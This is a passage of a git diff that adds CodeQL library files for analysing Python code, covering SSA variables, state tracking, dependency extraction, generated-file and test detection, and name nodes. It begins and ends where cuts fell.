__metaclass__ when constructing class */ + class_with_global_metaclass(s, this) + or + /* Variable is used in scope */ + this.(GlobalVariable).getAUse().getScope() = s + ) + or + exists(ImportTimeScope scope | + scope.entryEdge(_, result) | + this = scope.getOuterVariable(_) or + this.(Variable).getAUse().getScope() = scope + ) + or + this.(GlobalVariable).getId() = "*" and + exists(Scope s | + s.getEntryNode() = result and + this.(Variable).getScope() = s and + exists(ImportStar is | is.getScope() = s) + ) + } + + override CallNode redefinedAtCallSite() { none() } + +} + +class NonEscapingGlobalVariable extends ModuleVariable { + + NonEscapingGlobalVariable() { + this instanceof GlobalVariable and + exists(this.(Variable).getAStore()) and + not variable_or_attribute_defined_out_of_scope(this) + } + +} + +class EscapingGlobalVariable extends ModuleVariable { + + EscapingGlobalVariable() { + this instanceof GlobalVariable and exists(this.(Variable).getAStore()) and variable_or_attribute_defined_out_of_scope(this) + } + + override ControlFlowNode getAnImplicitUse() { + result = ModuleVariable.super.getAnImplicitUse() + or + result.(CallNode).getScope().getScope+() = this.(GlobalVariable).getScope() + or + result = this.innerScope().getANormalExit() + } + + private Scope innerScope() { + result.getScope+() = this.(GlobalVariable).getScope() and + not result instanceof ImportTimeScope + } + + override ControlFlowNode getScopeEntryDefinition() { + result = ModuleVariable.super.getScopeEntryDefinition() + or + result = this.innerScope().getEntryNode() + } + + override CallNode redefinedAtCallSite() { + result.(CallNode).getScope().getScope*() = this.(GlobalVariable).getScope() + } + +} + +private predicate variable_or_attribute_defined_out_of_scope(Variable v) { + exists(NameNode n | n.defines(v) and not n.getScope() = v.getScope()) + or + exists(AttrNode a | a.isStore() and a.getObject() = v.getAUse() and not a.getScope() = v.getScope()) +} + +private predicate class_with_global_metaclass(Class cls, GlobalVariable metaclass) { + metaclass.getId() = "__metaclass__" and major_version() = 2 and + cls.getEnclosingModule() = metaclass.getScope() +} + + +/** Holds if this variable is implicitly defined */ +private predicate implicit_definition(Variable v) { + v.getId() = "*" + or + exists(ImportStar is | is.getScope() = v.getScope()) +} + +cached module SsaSource { + + /** Holds if `v` is used as the receiver in a method call. */ + cached predicate method_call_refinement(Variable v, ControlFlowNode use, CallNode call) { + use = v.getAUse() and + call.getFunction().(AttrNode).getObject() = use + } + + /** Holds if `v` is defined by assignment at `defn` and given `value`. */ + cached predicate assignment_definition(Variable v, ControlFlowNode defn, ControlFlowNode value) { + defn.(NameNode).defines(v) and defn.(DefinitionNode).getValue() = value + } + + /** Holds if `v` is defined by assignment of the captured exception. */ + cached predicate exception_capture(Variable v, NameNode defn) { + defn.defines(v) and + exists(ExceptFlowNode ex | ex.getName() = defn) + } + + /** Holds if `v` is defined by a with statement. */ + cached predicate with_definition(Variable v, ControlFlowNode defn) { + exists(With with, Name var | + with.getOptionalVars() = var and + var.getAFlowNode() = defn | + var = v.getAStore() + ) + } + + /** Holds if `v` is defined by multiple assignment at `defn`. */ + cached predicate multi_assignment_definition(Variable v, ControlFlowNode defn) { + defn.(NameNode).defines(v) and + not exists(defn.(DefinitionNode).getValue()) and + exists(SequenceNode s | s.getAnElement() = defn) + } + + /** Holds if `v` is defined by a `for` statement, the definition being `defn` */ + cached predicate iteration_defined_variable(Variable v, ControlFlowNode defn, ControlFlowNode sequence) { + exists(ForNode for | for.iterates(defn, sequence)) and + defn.(NameNode).defines(v) + } + + /** Holds if `v` is a parameter variable and `defn` is the CFG node for that parameter. */ + cached predicate parameter_definition(Variable v, ControlFlowNode defn) { + exists(Function f, Name param | + f.getAnArg() = param or + f.getVararg() = param or + f.getKwarg() = param or + f.getKeywordOnlyArg(_) = param | + defn.getNode() = param and + param.getVariable() = v + ) + } + + /** Holds if `v` is deleted at `del`. */ + cached predicate deletion_definition(Variable v, DeletionNode del) { + del.getTarget().(NameNode).deletes(v) + } + + /** Holds if the name of `var` refers to a submodule of a package and `f` is the entry point + * to the __init__ module of that package. + */ + cached predicate init_module_submodule_defn(Variable var, ControlFlowNode f) { + exists(Module init | + init.isPackageInit() and exists(init.getPackage().getSubModule(var.getId())) and + var instanceof GlobalVariable and init.getEntryNode() = f and + var.getScope() = init + ) + } + + /** Holds if the `v` is in scope at a `from import ... *` and may thus be redefined by that statement */ + cached predicate import_star_refinement(Variable v, ControlFlowNode use, ControlFlowNode def) { + use = def and def instanceof ImportStarNode + and + ( + v.getScope() = def.getScope() + or + exists(NameNode other | + other.uses(v) and + def.getScope() = other.getScope() + ) + ) + } + + /** Holds if an attribute is assigned at `def` and `use` is the use of `v` for that assignment */ + cached predicate attribute_assignment_refinement(Variable v, ControlFlowNode use, ControlFlowNode def) { + use.(NameNode).uses(v) and + def.isStore() and def.(AttrNode).getObject() = use + } + + /** Holds if a `v` is used as an argument to `call`, which *may* modify the object referred to by `v` */ + cached predicate argument_refinement(Variable v, ControlFlowNode use, CallNode call) { + use.(NameNode).uses(v) and + call.getArg(0) = use and + not method_call_refinement(v, _, call) and + not test_refinement(v, _, call) + } + + /** Holds if an attribute is deleted at `def` and `use` is the use of `v` for that deletion */ + cached predicate attribute_deletion_refinement(Variable v, NameNode use, DeletionNode def) { + use.uses(v) and + def.getTarget().(AttrNode).getObject() = use + } + + /** Holds if the set of possible values for `v` is refined by `test` and `use` is the use of `v` in that test. */ + cached predicate test_refinement(Variable v, ControlFlowNode use, ControlFlowNode test) { + use.(NameNode).uses(v) and + test.getAChild*() = use and + test.isBranch() and + exists(BasicBlock block | + block = use.getBasicBlock() and + block = test.getBasicBlock() and + not block.getLastNode() = test + ) + } + +} + +private predicate refinement(Variable v, ControlFlowNode use, ControlFlowNode def) { + SsaSource::import_star_refinement(v, use, def) + or + SsaSource::attribute_assignment_refinement(v, use, def) + or + SsaSource::argument_refinement(v, use, def) + or + SsaSource::attribute_deletion_refinement(v, use, def) + or + SsaSource::test_refinement(v, use, def) + or + SsaSource::method_call_refinement(v, use, def) + or + def = v.(PythonSsaSourceVariable).redefinedAtCallSite() and def = use +} diff --git a/python/ql/src/semmle/python/dataflow/StateTracking.qll b/python/ql/src/semmle/python/dataflow/StateTracking.qll new file mode 100644 index 00000000000..39f240f6388 --- /dev/null +++ b/python/ql/src/semmle/python/dataflow/StateTracking.qll @@ -0,0 +1,174 @@ +/** Provides classes and predicates for tracking global state across the control flow and call graphs. + * + * NOTE: State tracking tracks both whether a state may apply to a given node in a given context *and* + * whether it may not apply. + * That `state.appliesTo(f, ctx)` holds implies nothing about whether `state.mayNotApplyTo(f, ctx)` holds. + * Neither may hold which merely means that `f` with context `ctx` is not reached during the analysis. + * Conversely, both may hold, which means that `state` may or may not apply depending on how `f` was reached. + */ + +import python +private import semmle.python.pointsto.Base +private import semmle.python.pointsto.PointsTo +private import semmle.python.pointsto.PointsToContext + +/** A state that should be tracked. */ +abstract class TrackableState extends string { + + bindingset[this] + TrackableState() { this = this } + + /** Holds if this state may apply to the control flow node `f`, regardless of the context. */ + final predicate appliesTo(ControlFlowNode f) { + this.appliesTo(f, _) + } + + /** Holds if this state may not apply to the control flow node `f`, given the context `ctx`. */ + final predicate appliesTo(ControlFlowNode f, Context ctx) { + StateTracking::appliesToNode(this, f, ctx, true) + } + + /** Holds if this state may apply to the control flow node `f`, given the context `ctx`. */ + final predicate mayNotApplyTo(ControlFlowNode f, Context ctx) { + StateTracking::appliesToNode(this, f, ctx, false) + } + + /** Holds if this state may apply to the control flow node `f`, regardless of the context. */ + final predicate mayNotApplyTo(ControlFlowNode f) { + this.mayNotApplyTo(f, _) + } + + /** Holds if `test` shows value to be untainted with `taint`, given the context `ctx`. */ + predicate testsFor(PyEdgeRefinement test, Context ctx, boolean sense) { + ctx.appliesToScope(test.getScope()) and this.testsFor(test, sense) + } + + /** Holds if `test` shows value to be untainted with `taint` */ + predicate testsFor(PyEdgeRefinement test, boolean sense) { none() } + + /** Holds if state starts at `f`. + * Either this predicate or `startsAt(ControlFlowNode f, Context ctx)` + * should be overriden by sub-classes. + */ + predicate startsAt(ControlFlowNode f) { none() } + + /** Holds if state starts at `f` given context `ctx`. + * Either this predicate or `startsAt(ControlFlowNode f)` + * should be overriden by sub-classes. + */ + pragma [noinline] + predicate startsAt(ControlFlowNode f, Context ctx) { + ctx.appliesTo(f) and this.startsAt(f) + } + + /** Holds if state ends at `f`. + * Either this predicate or `endsAt(ControlFlowNode f, Context ctx)` + * may be overriden by sub-classes. + */ + predicate endsAt(ControlFlowNode f) { none() } + + /** Holds if state ends at `f` given context `ctx`. + * Either this predicate or `endsAt(ControlFlowNode f)` + * may be overriden by sub-classes. + */ + pragma [noinline] + predicate endsAt(ControlFlowNode f, Context ctx) { + ctx.appliesTo(f) and this.endsAt(f) + } + +} + + +module StateTracking { + + private predicate not_allowed(TrackableState state, ControlFlowNode f, Context ctx, boolean sense) { + state.endsAt(f, ctx) and sense = true + or + state.startsAt(f, ctx) and sense = false + } + + /** Holds if `state` may apply (with `sense` = true) or may not apply (with `sense` = false) to + * control flow node `f` given the context `ctx`. + */ + predicate appliesToNode(TrackableState state, ControlFlowNode f, Context ctx, boolean sense) { + state.endsAt(f, ctx) and sense = false + or + state.startsAt(f, ctx) and sense = true + or + not not_allowed(state, f, ctx, sense) + and + ( + exists(BasicBlock b | + /* First node in a block */ + f = b.getNode(0) and appliesAtBlockStart(state, b, ctx, sense) + or + /* Other nodes in block, except trackable calls */ + exists(int n | + f = b.getNode(n) and + appliesToNode(state, b.getNode(n-1), ctx, sense) and + not exists(PyFunctionObject func, Context callee | + callee.fromCall(f, func, ctx) + ) + ) + ) + or + /* Function entry via call */ + exists(FunctionObject func, CallNode call, Context caller | + ctx.fromCall(call, func, caller) and + func.getFunction().getEntryNode() = f and + appliesToNode(state, call.getAPredecessor(), caller, sense) + ) + or + /* Function return */ + exists(PyFunctionObject func, Context callee | + callee.fromCall(f, func, ctx) and + appliesToNode(state, func.getFunction().getANormalExit(), callee, sense) + ) + or + /* Other scope entries */ + exists(Scope s | + s.getEntryNode() = f and + ctx.appliesToScope(s) + | + not exists(Scope pred | pred.precedes(s)) and + (ctx.isImport() or ctx.isRuntime()) and sense = false + or + exists(Scope pred, Context pred_ctx | + appliesToNode(state, pred.getANormalExit(), pred_ctx, sense) and + pred.precedes(s) and + ctx.isRuntime() | + pred_ctx.isRuntime() or pred_ctx.isImport() + ) + ) + ) + } + + /** Holds if `state` may apply (with `sense` = true) or may not apply (with `sense` = false) at the + * start of basic block `block` given the context `ctx`. + */ + private predicate appliesAtBlockStart(TrackableState state, BasicBlock block, Context ctx, boolean sense) { + exists(PyEdgeRefinement test | + test.getSuccessor() = block and + state.testsFor(test, ctx, sense) + ) + or + exists(BasicBlock pred | + pred.getASuccessor() = block and + appliesAtBlockEnd(state, pred, ctx, sense) and + not exists(PyEdgeRefinement test | + test.getPredecessor() = pred and + test.getSuccessor() = block and + state.testsFor(test, sense.booleanNot()) + ) + ) + } + + /** Holds if `state` may apply (with `sense` = true) or may not apply (with `sense` = false) at the + * end of basic block `block` given the context `ctx`. + */ + private predicate appliesAtBlockEnd(TrackableState state, BasicBlock block, Context ctx, boolean sense) { + appliesToNode(state, block.getLastNode(), ctx, sense) + } + +} + diff --git a/python/ql/src/semmle/python/dependencies/Dependencies.qll b/python/ql/src/semmle/python/dependencies/Dependencies.qll new file mode 100644 index 00000000000..0bed12ab54b --- /dev/null +++ b/python/ql/src/semmle/python/dependencies/Dependencies.qll @@ -0,0 +1,200 @@ + +import python +import semmle.python.dependencies.DependencyKind + +private predicate importDependency(Object target, AstNode source) { + source.getScope() != target.getOrigin() and /* Imports of own module are ignored */ + ( + exists(ModuleObject importee, ImportingStmt imp_stmt | + source = imp_stmt and + importee = target | + exists(ImportMember im | imp_stmt.contains(im) | + importee.importedAs(im.getImportedModuleName()) + ) + or + exists(ImportExpr im | imp_stmt.contains(im) | + importee.importedAs(im.getImportedModuleName()) + ) + or + exists(ModuleObject mod | + importDependency(mod, source) and + target = mod.getPackage+() + ) + ) + or + /* from m import name, where m.name is not a submodule */ + exists(PythonModuleObject importee, ImportingStmt imp_stmt | + source = imp_stmt | + exists(ImportMember im | imp_stmt.contains(im) | + importee.importedAs(im.getModule().(ImportExpr).getImportedModuleName()) + and + defn_of_module_attribute(target, importee.getModule(), im.getName()) + ) + ) + ) +} + +class PythonImport extends DependencyKind { + + PythonImport() { + this = "import" + } + + override predicate isADependency(AstNode source, Object target) { + this = this and + importDependency(target, source) + } + +} + +private predicate interesting(Object target) { + target.(ControlFlowNode).getNode() instanceof Scope + or + target instanceof FunctionObject + or + target instanceof ClassObject + or + target instanceof ModuleObject +} + +class PythonUse extends DependencyKind { + + PythonUse() { + this = "use" + } + + override predicate isADependency(AstNode source, Object target) { + interesting(target) and + this = this and + source != target.(ControlFlowNode).getNode() and + exists(ControlFlowNode use, Object obj | + use.getNode() = source and + use.refersTo(obj) and + use.isLoad() + | + interesting(obj) and target = obj + ) + and + not has_more_specific_dependency_source(source) + } + +} + +/** Whether there is a more specific dependency source than this one. + * E.g. if the expression pack.mod.func is a dependency on the function 'func' in 'pack.mod' + * don't make pack.mod depend on the module 'pack.mod' + */ +private predicate has_more_specific_dependency_source(Expr e) { + exists(Attribute member | + member.getObject() = e | + attribute_access_dependency(_, member) + or + has_more_specific_dependency_source(member) + ) +} + +class PythonInheritance extends DependencyKind { + + PythonInheritance() { + this = "inheritance" + } + + override predicate isADependency(AstNode source, Object target) { + this = this and + exists(ClassObject cls | + source = cls.getOrigin() + | + target = cls.getASuperType() + or + target = cls.getAnInferredType() + ) + } + +} + +class PythonAttribute extends DependencyKind { + + PythonAttribute() { + this = "attribute" + } + + override predicate isADependency(AstNode source, Object target) { + this = this and + attribute_access_dependency(target, source) + } + +} + +private predicate attribute_access_dependency(Object target, AstNode source) { + exists(Scope s, string name | + use_of_attribute(source, s, name) and + defn_of_attribute(target, s, name) + ) +} + +private predicate use_of_attribute(Attribute attr, Scope s, string name) { + exists(AttrNode cfg | + cfg.isLoad() and cfg.getNode() = attr + | + exists(Object obj | + cfg.getObject(name).refersTo(obj) | + s = obj.(PythonModuleObject).getModule() or + s = obj.(ClassObject).getPyClass() + ) or + exists(ClassObject cls | + cfg.getObject(name).refersTo(_, cls, _) | + s = cls.getPyClass() + ) + ) + or + exists(SelfAttributeRead sar | + sar = attr | + sar.getClass() = s and + sar.getName() = name + ) +} + +private predicate defn_of_attribute(Object target, Scope s, string name) { + exists(Assign asgn | + target.(ControlFlowNode).getNode() = asgn | + defn_of_instance_attribute(asgn, s, name) + or + defn_of_class_attribute(asgn, s, name) + ) + or + defn_of_module_attribute(target, s, name) +} + +/* Whether asgn defines an instance attribute, that is does + * asgn take the form self.name = ... where self is an instance + * of class c and asgn is not a redefinition. + */ +private predicate defn_of_instance_attribute(Assign asgn, Class c, string name) { + exists(SelfAttributeStore sas | + asgn.getATarget() = sas | + sas.getClass() = c and + sas.getName() = name and + not exists(SelfAttributeStore in_init | + not sas.getScope().(Function).isInitMethod() and + not sas = in_init and + in_init.getClass() = c and + in_init.getName() = name and + in_init.getScope().(Function).isInitMethod() + ) + ) +} + +/* Whether asgn defines an attribute of a class */ +private predicate defn_of_class_attribute(Assign asgn, Class c, string name) { + asgn.getScope() = c and + asgn.getATarget().(Name).getId() = name +} + +/* Holds if `value` is a value assigned to the `name`d attribute of module `m`. */ +private predicate defn_of_module_attribute(ControlFlowNode value, Module m, string name) { + exists(DefinitionNode def | + def.getScope() = m and + def.getValue() = value and + def.(NameNode).getId() = name + ) +} diff --git a/python/ql/src/semmle/python/dependencies/DependencyKind.qll b/python/ql/src/semmle/python/dependencies/DependencyKind.qll new file mode 100644 index 00000000000..791723042ac --- /dev/null +++ b/python/ql/src/semmle/python/dependencies/DependencyKind.qll @@ -0,0 +1,31 @@ +import semmle.python.dependencies.Dependencies + +/** + * A library describing an abstract mechanism for representing dependency categories. + */ + +/* + * A DependencyCategory is a unique string key used by Architect to identify different categories + * of dependencies that might be viewed independently. + *

    + * The string key defining the category must adhere to the isValid(), otherwise it will not be + * accepted by Architect. + *

    + */ +abstract class DependencyKind extends string { + + bindingset[this] + DependencyKind() { + this = this + } + + /* Tech inventory interface */ + /** + * Identify dependencies associated with this category. + *

    + * The source element is the source of the dependency. + *

    + */ + abstract predicate isADependency(AstNode source, Object target); + +} \ No newline at end of file diff --git a/python/ql/src/semmle/python/dependencies/TechInventory.qll b/python/ql/src/semmle/python/dependencies/TechInventory.qll new file mode 100644 index 00000000000..87a6c071ab1 --- /dev/null +++ b/python/ql/src/semmle/python/dependencies/TechInventory.qll @@ -0,0 +1,116 @@ +import python +import semmle.python.dependencies.Dependencies +import semmle.python.dependencies.DependencyKind + +/** Combine the source-file and package into a single string: + * /path/to/file.py<|>package-name-and-version + */ +string munge(File sourceFile, ExternalPackage package) { + result = "/" + sourceFile.getRelativePath() + "<|>" + package.getName() + "<|>" + package.getVersion() or + not exists(package.getVersion()) and result = "/" + sourceFile.getRelativePath() + "<|>" + package.getName() + "<|>unknown" +} + +abstract class ExternalPackage extends Object { + + ExternalPackage() { + this instanceof ModuleObject + } + + abstract string getName(); + + abstract string getVersion(); + + Object getAttribute(string name) { + result = this.(ModuleObject).getAttribute(name) + } + + PackageObject getPackage() { + result = this.(ModuleObject).getPackage() + } + +} + +bindingset[text] +private predicate is_version(string text) { + text.regexpMatch("\\d+\\.\\d+(\\.\\d+)?([ab]\\d+)?") +} + +bindingset[v] +private string version_format(float v) { + exists(int i, int f | + i = (v+0.05).floor() and f = ((v+0.05-i)*10).floor() | + result = i + "." + f + ) +} + +class DistPackage extends ExternalPackage { + + DistPackage() { + exists(Folder parent | + parent = this.(ModuleObject).getPath().getParent() and + parent.isImportRoot() and + /* Not in standard library */ + not parent.isStdLibRoot() and + /* Not in the source */ + not exists(parent.getRelativePath()) + ) + } + + /* We don't extract the meta-data for dependencies (yet), so make a best guess from the source + * https://www.python.org/dev/peps/pep-0396/ + */ + private predicate possibleVersion(string version, int priority) { + exists(Object v | + v = this.getAttribute("__version__") and priority = 3 | + version = v.(StringObject).getText() and is_version(version) + or + version = version_format(v.(NumericObject).floatValue()) + or + version = version_format(v.(NumericObject).intValue()) + ) + or + exists(SequenceObject tuple, NumericObject major, NumericObject minor, string base_version | + this.getAttribute("version_info") = tuple and + major = tuple.getInferredElement(0) and minor = tuple.getInferredElement(1) and + base_version = major.intValue() + "." + minor.intValue() | + version = base_version + "." + tuple.getBuiltinElement(2).(NumericObject).intValue() + or + not exists(tuple.getBuiltinElement(2)) and version = base_version + ) and priority = 2 + or + exists(string v | + v.toLowerCase() = "version" | + is_version(version) and + version = this.getAttribute(v).(StringObject).getText() + ) and priority = 1 + } + + override string getVersion() { + this.possibleVersion(result, max(int priority | this.possibleVersion(_, priority))) + } + + override string getName() { + result = this.(ModuleObject).getShortName() + } + + predicate fromSource(Object src) { + exists(ModuleObject m | + m.getModule() = src.(ControlFlowNode).getEnclosingModule() or + src = m | + m = this or + m.getPackage+() = this and + not exists(DistPackage inter | + m.getPackage*() = inter and + inter.getPackage+() = this + ) + ) + } + +} + +predicate dependency(AstNode src, DistPackage package) { + exists(DependencyKind cat, Object target | + cat.isADependency(src, target) | + package.fromSource(target) + ) +} diff --git a/python/ql/src/semmle/python/filters/GeneratedCode.qll b/python/ql/src/semmle/python/filters/GeneratedCode.qll new file mode 100644 index 00000000000..8b6f780ce55 --- /dev/null +++ b/python/ql/src/semmle/python/filters/GeneratedCode.qll @@ -0,0 +1,185 @@ +import python +import semmle.python.templates.Templates + +/** + * A file that is detected as being generated. + */ +abstract class GeneratedFile extends File { + + abstract string getTool(); + +} + +/* We distinguish between a "lax" match which just includes "generated by" or similar versus a "strict" match which includes "this file is generated by" or similar + * "lax" matches are taken to indicate generated file if they occur at the top of a file. "strict" matches can occur anywhere. + * There is no formal reason for the above, it just seems to work well in practice. + */ + +library class GenericGeneratedFile extends GeneratedFile { + + GenericGeneratedFile() { + not this instanceof SpecificGeneratedFile + and + ( + (lax_generated_by(this, _) or lax_generated_from(this, _)) and dont_modify(this) + or + strict_generated_by(this, _) or strict_generated_from(this, _) + ) + } + + override string getTool() { + lax_generated_by(this, result) or strict_generated_by(this, result) + } + +} + +private string comment_or_docstring(File f, boolean before_code) { + exists(Comment c | + c.getLocation().getFile() = f and + result = c.getText() | + if exists(Stmt s | s.getEnclosingModule().getFile() = f and s.getLocation().getStartLine() < c.getLocation().getStartLine()) then + before_code = false + else + before_code = true + ) + or + exists(Module m | m.getFile() = f | + result = m.getDocString().getText() and + before_code = true + ) + +} + +private predicate lax_generated_by(File f, string tool) { + exists(string comment | comment = comment_or_docstring(f, _) | + tool = comment.regexpCapture("(?is).*\\b(?:(?:auto[ -]?)?generated|created automatically) by (?:the )?([-/\\w.]+[-/\\w]).*", 1) + ) +} + +private predicate lax_generated_from(File f, string src) { + exists(string comment | comment = comment_or_docstring(f, _) | + src = comment.regexpCapture("(?is).*\\b((?:auto[ -]?)?generated|created automatically) from ([-/\\w.]+[-/\\w]).*", 1) + ) +} + +private predicate strict_generated_by(File f, string tool) { + exists(string comment | comment = comment_or_docstring(f, true) | + tool = comment.regexpCapture("(?is)# *(?:this +)?(?:(?:code|file) +)?(?:is +)?(?:(?:auto(?:matically)?[ -]?)?generated|created automatically) by (?:the )?([-/\\w.]+[-/\\w]).*", 1) + ) +} + +private predicate strict_generated_from(File f, string src) { + exists(string comment | comment = comment_or_docstring(f, true) | + src = comment.regexpCapture("(?is)# *(?:this +)?(?:(?:code|file) +)?(?:is +)?(?:(?:auto(?:matically)?[ -]?)?generated|created automatically) from ([-/\\w.]+[-/\\w]).*", 1) + ) +} + +private predicate dont_modify(File f) { + comment_or_docstring(f, _).regexpMatch("(?is).*\\b(Do not|Don't) (edit|modify|make changes)\\b.*") +} + + +/** + * A file generated by a template engine + */ +abstract library class SpecificGeneratedFile extends GeneratedFile { + /* Currently cover Spitfire, Pyxl and Mako. + * Django templates are not compiled to Python. + * Jinja2 templates are compiled direct to bytecode via the ast. + */ +} + +/** File generated by the spitfire templating engine */ +class SpitfireGeneratedFile extends SpecificGeneratedFile { + + SpitfireGeneratedFile() { + exists(Module m | + m.getFile() = this and not m instanceof SpitfireTemplate | + exists(ImportMember template_method, ImportExpr spitfire_runtime_template | + spitfire_runtime_template.getName() = "spitfire.runtime.template" and + template_method.getModule() = spitfire_runtime_template and + template_method.getName() = "template_method" + ) + ) + } + + override string getTool() { + result = "spitfire" + } + +} + +/** File generated by the pyxl templating engine */ +class PyxlGeneratedFile extends SpecificGeneratedFile { + + PyxlGeneratedFile() { + this.getSpecifiedEncoding() = "pyxl" + } + + override string getTool() { + result = "pyxl" + } + +} + +/** File generated by the mako templating engine */ +class MakoGeneratedFile extends SpecificGeneratedFile { + + MakoGeneratedFile() { + exists(Module m | m.getFile() = this | + from_mako_import(m) = "runtime" and + from_mako_import(m) = "filters" and + from_mako_import(m) = "cache" and + exists(Assign a, Name n | + a.getScope() = m and a.getATarget() = n and n.getId() = "__M_dict_builtin" + ) and + exists(Assign a, Name n | + a.getScope() = m and a.getATarget() = n and n.getId() = "__M_locals_builtin" + ) and + exists(Assign a, Name n | + a.getScope() = m and a.getATarget() = n and n.getId() = "_magic_number" + ) + ) + } + + override string getTool() { + result = "mako" + } + +} + +string from_mako_import(Module m) { + exists(ImportMember member, ImportExpr mako | + member.getScope() = m and + member.getModule() = mako and + mako.getName() = "mako" | + result = member.getName() + ) +} + +/** File generated by Google's protobuf tool. */ +class ProtobufGeneratedFile extends SpecificGeneratedFile { + + ProtobufGeneratedFile() { + this.getName().regexpMatch(".*_pb2?.py") + and + exists(Module m | + m.getFile() = this | + exists(ImportExpr imp | + imp.getEnclosingModule() = m | + imp.getImportedModuleName() = "google.net.proto2.python.public" + ) + and + exists(AssignStmt a, Name n | + a.getEnclosingModule() = m and + a.getATarget() = n and + n.getId() = "DESCRIPTOR" + ) + ) + } + + override string getTool() { + result = "protobuf" + } + +} diff --git a/python/ql/src/semmle/python/filters/Tests.qll b/python/ql/src/semmle/python/filters/Tests.qll new file mode 100644 index 00000000000..e9cfedc499f --- /dev/null +++ b/python/ql/src/semmle/python/filters/Tests.qll @@ -0,0 +1,48 @@ +import python + +abstract class TestScope extends Scope {} + +// don't extend Class directly to avoid ambiguous method warnings +class UnitTestClass extends TestScope { + UnitTestClass() { + exists(ClassObject c | + this = c.getPyClass() | + c.getASuperType() = theUnitTestPackage().getAttribute(_) + or + c.getASuperType().getName().toLowerCase() = "testcase" + ) + } +} + +PackageObject theUnitTestPackage() { + result.getName() = "unittest" +} + +abstract class Test extends TestScope {} + +class UnitTestFunction extends Test { + + UnitTestFunction() { + this.getScope+() instanceof UnitTestClass + and + this.(Function).getName().matches("test%") + } +} + +class PyTestFunction extends Test { + + PyTestFunction() { + exists(Module pytest | pytest.getName() = "pytest") and + this.(Function).getName().matches("test%") + } + +} + +class NoseTestFunction extends Test { + + NoseTestFunction() { + exists(Module nose | nose.getName() = "nose") and + this.(Function).getName().matches("test%") + } + +} diff --git a/python/ql/src/semmle/python/flow/NameNode.qll b/python/ql/src/semmle/python/flow/NameNode.qll new file mode 100644 index 00000000000..0dab82fe865 --- /dev/null +++ b/python/ql/src/semmle/python/flow/NameNode.qll @@ -0,0 +1,143 @@ +import python +private import semmle.python.pointsto.Base + +/** A control flow node corresponding to a (plain variable) name expression, such as `var`. + * `None`, `True` and `False` are excluded. + */ +class NameNode extends ControlFlowNode { + + NameNode() { + exists(Name n | py_flow_bb_node(this, n, _, _)) + or + exists(PlaceHolder p | py_flow_bb_node(this, p, _, _)) + } + + /** Whether this flow node defines the variable `v`. */ + predicate defines(Variable v) { + exists(Name d | this.getNode() = d and d.defines(v)) + and not this.isLoad() + } + + /** Whether this flow node deletes the variable `v`. */ + predicate deletes(Variable v) { + exists(Name d | this.getNode() = d and d.deletes(v)) + } + + /** Whether this flow node uses the variable `v`. */ + predicate uses(Variable v) { + this.isLoad() and exists(Name u | this.getNode() = u and u.uses(v)) + or + exists(PlaceHolder u | this.getNode() = u and u.getVariable() = v and u.getCtx() instanceof Load) + or + use_of_global_variable(this, v.getScope(), v.getId()) + } + + string getId() { + result = this.getNode().(Name).getId() + or + result = this.getNode().(PlaceHolder).getId() + } + + /** Whether this is a use of a local variable. */ + predicate isLocal() { + local(this) + } + + /** Whether this is a use of a non-local variable. */ + predicate isNonLocal() { + non_local(this) + } + + /** Whether this is a use of a global (including builtin) variable. */ + predicate isGlobal() { + use_of_global_variable(this, _, _) + } + + predicate isSelf() { + exists(SsaVariable selfvar | + selfvar.isSelf() and selfvar.getAUse() = this + ) + } + +} + +private predicate fast_local(NameNode n) { + exists(FastLocalVariable v | + n.uses(v) and + v.getScope() = n.getScope() + ) +} + +private predicate local(NameNode n) { + fast_local(n) + or + exists(SsaVariable var | + var.getAUse() = n and + n.getScope() instanceof Class and + exists(var.getDefinition()) + ) +} + +private predicate non_local(NameNode n) { + exists(FastLocalVariable flv | + flv.getALoad() = n.getNode() and + not flv.getScope() = n.getScope() + ) +} + +// magic is fine, but we get questionable join-ordering of it +pragma [nomagic] +private predicate use_of_global_variable(NameNode n, Module scope, string name) { + n.isLoad() and + not non_local(n) + and + not exists(SsaVariable var | + var.getAUse() = n | + var.getVariable() instanceof FastLocalVariable + or + n.getScope() instanceof Class and + not maybe_undefined(var) + ) + and name = n.getId() + and scope = n.getEnclosingModule() +} + +private predicate maybe_defined(SsaVariable var) { + exists(var.getDefinition()) and not py_ssa_phi(var, _) and not var.getDefinition().isDelete() + or + exists(SsaVariable input | + input = var.getAPhiInput() | + maybe_defined(input) + ) +} + +private predicate maybe_undefined(SsaVariable var) { + not exists(var.getDefinition()) and not py_ssa_phi(var, _) + or + var.getDefinition().isDelete() + or + maybe_undefined(var.getAPhiInput()) + or + exists(BasicBlock incoming | + exists(var.getAPhiInput()) and + incoming.getASuccessor() = var.getDefinition().getBasicBlock() and + not var.getAPhiInput().getDefinition().getBasicBlock().dominates(incoming) + ) +} + +/** A control flow node corresponding to a named constant, one of `None`, `True` or `False`. */ +class NameConstantNode extends NameNode { + + NameConstantNode() { + exists(NameConstant n | py_flow_bb_node(this, n, _, _)) + } + + override deprecated predicate defines(Variable v) { none() } + + override deprecated predicate deletes(Variable v) { none() } + + /* We ought to override uses as well, but that has + * a serious performance impact. + deprecated predicate uses(Variable v) { none() } + */ +} diff --git a/python/ql/src/semmle/python/libraries/Zope.qll b/python/ql/src/semmle/python/libraries/Zope.qll new file mode 100644 index 00000000000..f355982dfc7 --- /dev/null +++ b/python/ql/src/semmle/python/libraries/Zope.qll @@ -0,0 +1,29 @@ +/** Utilities for handling the zope libraries */ + +import python + +/** A method that to a sub-class of `zope.interface.Interface` */ +class ZopeInterfaceMethod extends PyFunctionObject { + + /** Holds if this method belongs to a class that sub-classes `zope.interface.Interface` */ + ZopeInterfaceMethod() { + exists(ModuleObject zope, Object interface, ClassObject owner | + zope.getAttribute("Interface") = interface and + zope.getName() = "zope.interface" and + owner.declaredAttribute(_) = this and + owner.getAnImproperSuperType().getABaseType() = interface + ) + } + + override int minParameters() { + result = super.minParameters() + 1 + } + + override int maxParameters() { + if exists(this.getFunction().getVararg()) then + result = super.maxParameters() + else + result = super.maxParameters() + 1 + } + +} diff --git a/python/ql/src/semmle/python/pointsto/Base.qll b/python/ql/src/semmle/python/pointsto/Base.qll new file mode 100644 index 00000000000..fc4d2e5807a --- /dev/null +++ b/python/ql/src/semmle/python/pointsto/Base.qll @@ -0,0 +1,650 @@ +/** + * Combined points-to and type-inference for "run-time" (as opposed to "import-time" values) + * The main relation `runtime_points_to(node, object, cls, origin)` relates a control flow node + * to the possible objects it points-to the inferred types of those objects and the 'origin' + * of those objects. The 'origin' is the point in source code that the object can be traced + * back to. + * + * This file contains non-layered parts of the points-to analysis. + */ +import python +import 